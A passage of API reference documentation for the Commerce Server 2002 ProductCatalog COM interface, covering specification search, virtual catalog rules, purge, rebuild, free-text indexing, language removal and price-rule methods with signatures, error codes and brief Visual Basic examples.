E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C++] 0x8898010D [Visual Basic] &H8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....

Remarks

[C++] The ppRSSearchClauses parameter contains valid data only if the method completed successfully.

The returned recordset contains a single variable-length String field, called Clause, and one row for each constraint present.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strSearchHandle contains a search handle returned
'from AddSpecificationSearchClause or BeginSpecificationSearch
SET rsMySearchClauses = myProductCatalog.GetSpecificationSearchClauses(strSearchHandle)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::AddSpecificationSearchClause

[Visual Basic] ProductCatalog.AddSpecificationSearchClause

[C++] IProductCatalog3::RemoveSpecificationSearchClause

[Visual Basic] ProductCatalog.RemoveSpecificationSearchClause


IProductCatalog3::GetVirtualCatalogRules Method [C++]

ProductCatalog.GetVirtualCatalogRules Method [Visual Basic]

Use this method to return a recordset containing the specified virtual catalog rules.

Definition

[C++]
HRESULT IProductCatalog3::GetVirtualCatalogRules(
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT strPropertyToSortOn,
  VARIANT_BOOL fSortAscending,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** ppRSProductRules
);
[Visual Basic]
Function GetVirtualCatalogRules(
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional strPropertyToSortOn As Variant,
  Optional fSortAscending As Boolean,
  Optional plTotalRecordsInQuery As Variant
) As _Recordset

Parameters

lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lStartingRecord [Visual Basic]
A Variant that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve.
strPropertyToSortOn [C++]
[in, optional] A VARIANT that contains the property on which to sort. This must be a property in the returned recordset.
strPropertyToSortOn [Visual Basic]
A Variant that contains the property on which to sort. This must be a property in the returned recordset.
fSortAscending [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that specifies whether to sort in ascending or descending order. A value of True (-1) indicates to sort in ascending order. A value of False (0) indicates to sort in descending order.
fSortAscending [Visual Basic]
A Boolean that specifies whether to sort in ascending or descending order. A value of True (-1) indicates to sort in ascending order. A value of False (0) indicates to sort in descending order. The default value is True.
plTotalRecordsInQuery [C++]
[in, out, optional] A pointer to a VARIANT that, if supplied, contains on output the total number of records.
plTotalRecordsInQuery [Visual Basic]
A Variant that, if supplied, contains on output the total number of records.
ppRSProductRules [C++]
[out, retval] A pointer to hold the reference to the returned Recordset object, which will contain the virtual catalog rules.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the virtual catalog rules.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C++] 0x889800FA [Visual Basic] &H889800FA | invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid.
E_CAT_INVALID_SORT_PROPS | [C++] 0x8898011E [Visual Basic] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRSProductRules parameter contains valid data only if the method was accessed successfully.

The returned recordset is disconnected and updateable. The following table shows the fields that the returned recordset contains.

Field | Data Type | Description
Type | VirtualCatalogRuleTypeEnum Enum | An enumeration that describes the type of rule. See the following table for a description of the values.
CatalogName | String 90 characters | The name of the catalog.
CategoryName | String 128 characters | The name of the category.
ProductID | String 256 characters | The field name that uniquely identifies products.
VariantID | String 256 characters | The field name that uniquely identifies variants.

The following table shows the enumeration that indicates the rule types in the returned recordset.

Name | Value | Description
VCRULETYPE_INCLUDE_PRODUCT | 1 | Indicates an inclusion rule for a product.
VCRULETYPE_EXCLUDE_PRODUCT | 2 | Indicates an exclusion rule for a product.
VCRULETYPE_INCLUDE_CATEGORY | 3 | Indicates an inclusion rule for a category.
VCRULETYPE_EXCLUDE_CATEGORY | 4 | Indicates an exclusion rule for a category.
VCRULETYPE_INCLUDE_VARIANT | 5 | Indicates an inclusion rule for a variant.
VCRULETYPE_EXCLUDE_VARIANT | 6 | Indicates an exclusion rule for a variant.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

vTotalRecords is a variant.
SET rsRules = myProductCatalog.GetVirtualCatalogRules(1, 25, strPropertyToSortOn, True, vTotalRecords )

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::GuaranteedSpecificationSearch Method [C++]

ProductCatalog.GuaranteedSpecificationSearch Method [Visual Basic]

Use this method to guarantee results when performing a specification search of a catalog.

Definition

[C++]
HRESULT IProductCatalog3::GuaranteedSpecificationSearch(
  VARIANT* pstrSearchHandle,
  VARIANT eClassTypeRequired,
  VARIANT lDesiredRecords,
  VARIANT* plTotalRecordsAvailable,
  VARIANT* pRSNewPropValuesList,
  VARIANT vrPropertiesRequired,
  _Recordset** ppRSSearchResults
);
[Visual Basic]
Function GuaranteedSpecificationSearch(
  pstrSearchHandle As Variant,
  Optional eClassTypeRequired As Variant,
  Optional lDesiredRecords As Variant,
  Optional plTotalRecordsAvailable As Variant,
  Optional pRSNewPropValuesList As Variant,
  Optional vrPropertiesRequired As Variant
) As _Recordset

Parameters

pstrSearchHandle [C++]
[in, out] A VARIANT that contains the specification search handle. The modified search handle will be returned by this parameter.
pstrSearchHandle [Visual Basic]
A Variant that contains the specification search handle.
eClassTypeRequired [C++]
[in, optional] A VARIANT that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
eClassTypeRequired [Visual Basic]
A Variant that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
lDesiredRecords [C++]
[in, optional] A VARIANT that contains the number of records wanted.
lDesiredRecords [Visual Basic]
A Variant that contains the number of records wanted.
plTotalRecordsAvailable [C++]
[out, optional] A pointer to a VARIANT used to return the total records available.
plTotalRecordsAvailable [Visual Basic]
A Variant used to return the total records available.
pRSNewPropValuesList [C++]
[out, optional] A Recordset object used to return the new property values list.
pRSNewPropValuesList [Visual Basic]
A Recordset object used to return the new property values list.
vrPropertiesRequired [C++]
[in, optional] A VARIANT that contains the properties required in a comma-delimited String.
vrPropertiesRequired [Visual Basic]
A Variant that contains the properties required in a comma-delimited String.
ppRSSearchResults [C++]
[out, retval] A Recordset object used to return the search results.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a recordset that contains the search results.

Error Values

[C++] This method returns S_OK (0x00000000) or S_FALSE (&H00000001) to indicate success and standard COM HRESULT error values, to indicate failure. This method may succeed and yet not return a valid output parameter. The output parameter(s) will be invalid if either and error value or S_FALSE is returned. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) or S_FALSE (&H00000001) to indicate success and to either standard or custom COM error values to indicate failure. This method may succeed and yet return a property or object that is Nothing due to a syntax error, such as requesting a property or object that does not exist. Test the return value for Nothing before relying on it. For more information about standard COM errors, see Standard COM Errors.

In the context of this method, S_FALSE indicates:

  • The pRSNewPropValuesList parameter is specified and there are no properties in the catalog that are marked for specification search.
  • The pRSNewPropValuesList parameter is specified and there are no products under the category selected for specification search.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | The pointer is invalid.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C++] 0x8898010D [Visual Basic] &Hx8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid.
E_CAT_INVALID_RETURN_PROPS | [C++] 0x8898011D [Visual Basic] &H8898011D | The properties to return that you specified are invalid. properties that contain a space should be enclosed in square brackets. properties should not contain [ or ] and /* or -- in property names.
E_CAT_CATEGORY_NOT_EXISTS_NOT_SEARCHABLE | [C++] 0x88980049 [Visual Basic] &H88980049 | The category you specified does not exists or is not marked as Specification searchable.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pstrSearchHandle, plTotalRecordsAvailable, pRSNewPropValuesList, and ppRSSearchResults parameters contain valid data only if the method was accessed successfully.

This method is similar to the PerformSpecificationSearch method. The optional output parameter, pRSNewPropValuesList, is a single row recordset. This recordset contains one field for each searchable property for the products under the category specified in the BeginSpecificationSearch method. Each field contains a SAFEARRAY. The SAFEARRAY contains a set of distinct values for that property. The set is all the values in all the products that match the search clauses in the search handle. Only the properties that are marked as searchable are returned in the recordset. A property can be marked as searchable by setting the IncludeInSpecSearch attribute of that property to True.

This method guarantees that results will be returned from a specification search of the catalog by removing search constraints in the reverse order that they were added until a match is found. Therefore, remember to add constraints to a specification search in order of decreasing importance.

[C++] The Recordset object returned by this method will contain a field for each property name in the vrPropertiesRequired parameter. If this parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

[Visual Basic] The Recordset object returned by this method will contain a field for each property name in the vrPropertiesRequired parameter. If this parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

When field names begin with a number or contain spaces, they must be enclosed in brackets. Data errors occur if the field names are not formatted correctly. If the vrPropertiesRequired parameter is omitted, the data in all fields will be returned correctly.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
cscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum enumeration values can be combined in the eClassTypeRequired parameter with logical ORs, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strSearchHandle contains a search handle returned
'from AddSpecificationSearchClause or BeginSpecificationSearch.
'The following parameters should be examined after the call returns.
'plTotalRecordsAvailable is a Long
'pRSNewPropValuesList is an empty recordset
SET rsMySearchResults = myProductCatalog.GuaranteedSpecificationSearch('strSearchHandle , 20, plTotalRecordsAvailable, pRSNewPropValuesList)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::AddSpecificationSearchClause

[Visual Basic] ProductCatalog.AddSpecificationSearchClause

[C++] IProductCatalog3::PerformSpecificationSearch

[Visual Basic] ProductCatalog.PerformSpecificationSearch

[C++] IProductCatalog3::RemoveSpecificationSearchClause

[Visual Basic] ProductCatalog.RemoveSpecificationSearchClause


IProductCatalog3::PerformSpecificationSearch Method [C++]

ProductCatalog.PerformSpecificationSearch Method [Visual Basic]

Use this method to perform a specification search of a catalog.

Definition

[C++]
HRESULT IProductCatalog3::PerformSpecificationSearch(
  BSTR strSearchHandle,
  VARIANT eClassTypeRequired,
  VARIANT lDesiredRecords,
  VARIANT* plTotalRecordsAvailable,
  VARIANT* pRSNewPropValuesList,
  VARIANT vrPropertiesRequired,
  _Recordset** ppRSSearchResults
);
[Visual Basic]
Function PerformSpecificationSearch(
  strSearchHandle As String,
  Optional eClassTypeRequired As Variant,
  Optional lDesiredRecords As Variant,
  Optional plTotalRecordsAvailable As Variant,
  Optional pRSNewPropValuesList As Variant,
  Optional vrPropertiesRequired As Variant
) As _Recordset

Parameters

strSearchHandle [C++]
[in] A BSTR that contains the name of the search to perform.
strSearchHandle [Visual Basic]
A String that contains the name of the search to perform.
eClassTypeRequired [C++]
[in, optional] A VARIANT that contains the catalog class required. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
eClassTypeRequired [Visual Basic]
A Variant that contains the catalog class required. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
lDesiredRecords [C++]
[in, optional] A VARIANT that contains the records wanted.
lDesiredRecords [Visual Basic]
A Variant that contains the records wanted.
plTotalRecordsAvailable [C++]
[out, optional] A pointer to a VARIANT used to return the total number of records available.
plTotalRecordsAvailable [Visual Basic]
A Variant used to return the total number of records available.
pRSNewPropValuesList [C++]
[out, optional] A pointer to a VARIANT used to return the Recordset object of the new property values list.
pRSNewPropValuesList [Visual Basic]
A Variant used to return the Recordset object of the new property values list.
vrPropertiesRequired [C++]
[in, optional] A VARIANT that contains the properties required in a comma-delimited String.
vrPropertiesRequired [Visual Basic]
A Variant that contains the properties required in a comma-delimited String.
ppRSSearchResults [C++]
[out, retval] A pointer to hold the reference to the returned Recordset object, which will contain the search results.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a recordset that contains the search results.

Error Values

[C++] This method returns S_OK (0x00000000) or S_FALSE (&H00000001) to indicate success and standard COM HRESULT error values, to indicate failure. This method may succeed and yet not return a valid output parameter. The output parameter(s) will be invalid if either and error value or S_FALSE is returned. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) or S_FALSE (&H00000001) to indicate success and to either standard or custom COM error values to indicate failure. This method may succeed and yet return a property or object that is Nothing due to a syntax error, such as requesting a property or object that does not exist. Test the return value for Nothing before relying on it. For more information about standard COM errors, see Standard COM Errors.

In the context of this method, S_FALSE indicates:

  • The pRSNewPropValuesList parameter is specified and there are no properties in the catalog that are marked for specification search.
  • The pRSNewPropValuesList parameter is specified and there are no products under the category selected for specification search.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | The pointer is invalid.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C++] 0x8898010D [Visual Basic] &H8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_RETURN_PROPS | [C++] 0x8898011D [Visual Basic] &H8898011D | The properties to return that you specified are invalid. properties that contain a space should be enclosed in square brackets. properties should not contain [ or ] and /* or -- in property names.
E_CAT_CATEGORY_NOT_EXISTS_NOT_SEARCHABLE | [C++] 0x88980049 [Visual Basic] &H88980049 | The category you specified does not exists or is not marked as Specification searchable.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The plTotalRecordsAvailable, pRSNewPropValuesList, and ppRSSearchResults parameters contain valid data only if the method was accessed successfully.

The PerformSpecificationSearch method runs a query using all of the constraints that have been added to the specified specification search handle.

The optional output parameter, pRSNewPropValuesList, is a single row recordset. This recordset contains one field for each searchable property for the products under the category specified in the BeginSpecificationSearch method. Each field contains a SAFEARRAY. The SAFEARRAY contains a set of distinct values for that property. The set is all the values in all the products that match the search clauses in the search handle. Only the properties that are marked as searchable are returned in the recordset. A property can be marked as searchable by setting the IncludeInSpecSearch attribute of that property to True.

[C++] The Recordset object returned by this method will contain a field for each property name in the vrPropertiesRequired parameter. It will always contain a CatalogName field. If the parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

[Visual Basic] The Recordset object returned by this method will contain a field for each property name in the vrPropertiesRequired parameter. It will always contain a CatalogName field. If the parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

When field names begin with a number or contain spaces, they must be enclosed in brackets. Data errors will occur if the field names are not formatted correctly. If the vrPropertiesRequired parameter is omitted, the data in all fields will be returned correctly.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
cscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum enumeration values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strSearchHandle contains a search handle returned
'from AddSpecificationSearchClause or BeginSpecificationSearch.
'The following parameters should be examined after the call returns.
'plTotalRecordsAvailable is a Long.
'pRSNewPropValuesList is an empty recordset.
SET rsSearchResults = myProductCatalog.PerformSpecificationSearch(strSearchHandle, 20, plTotalRecordsAvailable, pRSNewPropValuesList)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::AddSpecificationSearchClause

[Visual Basic] ProductCatalog.AddSpecificationSearchClause

[C++] IProductCatalog3::BeginSpecificationSearch

[Visual Basic] ProductCatalog.BeginSpecificationSearch

[C++] IProductCatalog3::GuaranteedSpecificationSearch

[Visual Basic] ProductCatalog.GuaranteedSpecificationSearch

[C++] IProductCatalog3::RemoveSpecificationSearchClause

[Visual Basic] ProductCatalog.RemoveSpecificationSearchClause


IProductCatalog3::Purge Method [C++]

ProductCatalog.Purge Method [Visual Basic]

Use this method to remove deleted products, categories, and variants from the catalog.

Definition

[C++]
HRESULT IProductCatalog3::Purge(
);
[Visual Basic]
Sub Purge()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

In addition to standard COM errors, purge may return ADO errors.

Remarks

Commerce Server 2002 uses a two-stage delete process. When items are deleted from a catalog they are not removed from the Product Catalog System. The product rows are moved from the catalog tables to a deleted products table. This allows deletions to be exported with other changes using the DeltaExportXML method. Use the Purge method to remove the marked products from the database. The Purge method is not accessible through the user interface.

Caution

  • There is no method for recovering deleted products.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProductCatalog.Purge

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] ICatalogManager3::DeltaExportXML

[Visual Basic] CatalogManager.DeltaExportXML


IProductCatalog3::RebuildVirtualCatalog Method [C++]

ProductCatalog.RebuildVirtualCatalog Method [Visual Basic]

Use this method to rebuild a virtual catalog or all dependent virtual catalogs.

Definition

[C++]
HRESULT IProductCatalog3::RebuildVirtualCatalog(
  VARIANT_BOOL fRunSynchronously,
  VARIANT_BOOL fForceRebuild
);
[Visual Basic]
Sub RebuildVirtualCatalog(
  Optional fRunSynchronously As Boolean,
  Optional fForceRebuild As Boolean
)

Parameters

fRunSynchronously [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether to run the method synchronously. A value of True indicates that the method should be run synchronously. A value of False indicates that the method should be run asynchronously.
fRunSynchronously [Visual Basic]
A Boolean that specifies whether to run the method synchronously. A value of True indicates that the method should be run synchronously. A value of False indicates that the method should be run asynchronously. The default value is False.
fForceRebuild [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether to force a rebuild. A value of True indicates that catalogs will be rebuilt regardless of status. A value of False indicates that only dirty catalogs will be rebuilt.
fForceRebuild [Visual Basic]
A Boolean that specifies whether to force a rebuild. A value of True indicates that all catalogs will be rebuilt regardless of status. A value of False indicates that only dirty catalogs will be rebuilt. The default value is False.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.

Remarks

Virtual catalogs will only be rebuilt if there has been a rule change, a product deletion, or a category deletion that would affect the contents of the catalog unless the fForceRebuild parameter is set to True. If this method is called on a base catalog, it will apply to all virtual catalogs that include products or categories from the base catalog. If this method is called on a virtual catalog, it will apply only to the virtual catalog.

[C++] If you want to rebuild all the virtual catalogs in the Product Catalog System use ICatalogManager3::RebuildAllVirtualCatalogs.

[Visual Basic] If you want to rebuild all the virtual catalogs in the Product Catalog System use CatalogManager.RebuildAllVirtualCatalogs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProductCatalog.RebuildVirtualCatalog

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] ICatalogManager3::RebuildAllVirtualCatalogs

[Visual Basic] CatalogManager.RebuildAllVirtualCatalogs


IProductCatalog3::RegenerateFreeTextSearchIndex Method [C++]

ProductCatalog.RegenerateFreeTextSearchIndex Method [Visual Basic]

Use this method to regenerate the free-text search index of a catalog.

Definition

[C++]
HRESULT IProductCatalog3::RegenerateFreeTextSearchIndex(
 VARIANT_BOOL fGenerateIncremental
);
[Visual Basic]
Sub RegenerateFreeTextSearchIndex(
 fGenerateIncremental As Boolean
)

Parameters

fGenerateIncremental [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that determines whether an incremental or a full rebuild of the free-text search index is to be performed. A value of True indicates an incremental rebuild. A value of False indicates a full rebuild. See the Remarks section for more information.
fGenerateIncremental [Visual Basic]
A Boolean that determines whether an incremental or a full rebuild of the free-text search index is to be performed. A value of True indicates an incremental rebuild. A value of False indicates a full rebuild. The default value is False. See the Remarks section for more information.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_CANNOT_REFRESH | [C++] 0x8898004C [Visual Basic] &H8898004C | A catalog import operation is currently in progress. The refresh operation cannot be performed now.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The fGenerateIncremental parameter determines what type of free-text index rebuild to perform. The default is to completely rebuild the free-text index. Though this option ensures completeness, it is slower than an incremental rebuild, which appends only recently added products and categories to the index.

If the database in which Commerce Server keeps its catalog data does not have the SQL Server 2000 full-text engine installed, this method will return with no action.

This method cannot be called in a transacted object. This method involves the creating, deleting, or updating of free-text indexes. SQL Server does not allow these operations in a transaction.

This method will create a new full-text index for the catalog if it does not exist.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProductCatalog.RegenerateFreeTextSearchIndex TRUE

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::RemoveLanguage Method [C++]

ProductCatalog.RemoveLanguage Method Method [Visual Basic]

Use this method to remove a language from this catalog.

Definition

[C++]
HRESULT IProductCatalog3::RemoveLanguage(
  BSTR strLanguage
);
[Visual Basic]
Sub RemoveLanguage(
  strLanguage As String
)

Parameters

strLanguage [C++]
[in, optional, defaultvalue ("")] A BSTR that contains the culture name to remove. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLanguage [Visual Basic]
A String that that contains the culture name to remove. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_LANGUAGE | [C++] 0x8898009E [Visual Basic] &H8898009E | The value you specified for the language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_LANGUAGE_NOT_ASSOCIATED | [C++] 0x889800A4 [Visual Basic] &H889800A4 | The language that you specified is not associated with this catalog.
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_CANNOT_REMOVE_DEFAULT_LANG | [C++] 0x889800AA [Visual Basic] &H889800AA | The language that you specified is being used as the Default language for this catalog. It cannot be removed
E_CAT_CANNOT_REMOVE_REPORTING_LANG | [C++] 0x889800AB [Visual Basic] &H889800AB | The language that you specified is being used as the Reporting language for this catalog. It cannot be removed

Remarks

This method removes the specified language from list of languages supported by the catalog. The language will not be removed if it is the default language of the catalog; in this case, an error message will be returned.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProductCatalog.RemoveLanguage("FRA")

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::RemovePriceRule Method [C++]

ProductCatalog.RemovePriceRule Method [Visual Basic]

Use this method to remove a specified price rule.

Definition

[C++]
HRESULT IProductCatalog3::RemovePriceRule(
  VARIANT vrProductIDOrCategoryName,
  VARIANT vrVariantID,
  VARIANT_BOOL fCategory
);
[Visual Basic]
Sub RemovePriceRule(
  vrProductIDOrCategoryName As Variant,
  Optional vrVariantID As Variant,
  Optional fCategory As Boolean
)

Parameters

vrProductIDOrCategoryName [C++]
[in] A VARIANT that contains the product ID or category name to which the rule applies.
vrProductIDOrCategoryName [Visual Basic]
A Variant that contains the product ID or category name to which the rule applies.
vrVariantID [C++]
[in, optional] A VARIANT that contains the variant ID, if the rule is specific to a variant.
vrVariantID [Visual Basic]
A Variant that contains the variant ID, if the rule is specific to a variant.
fCategory [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product.
fCategory [Visual Basic]
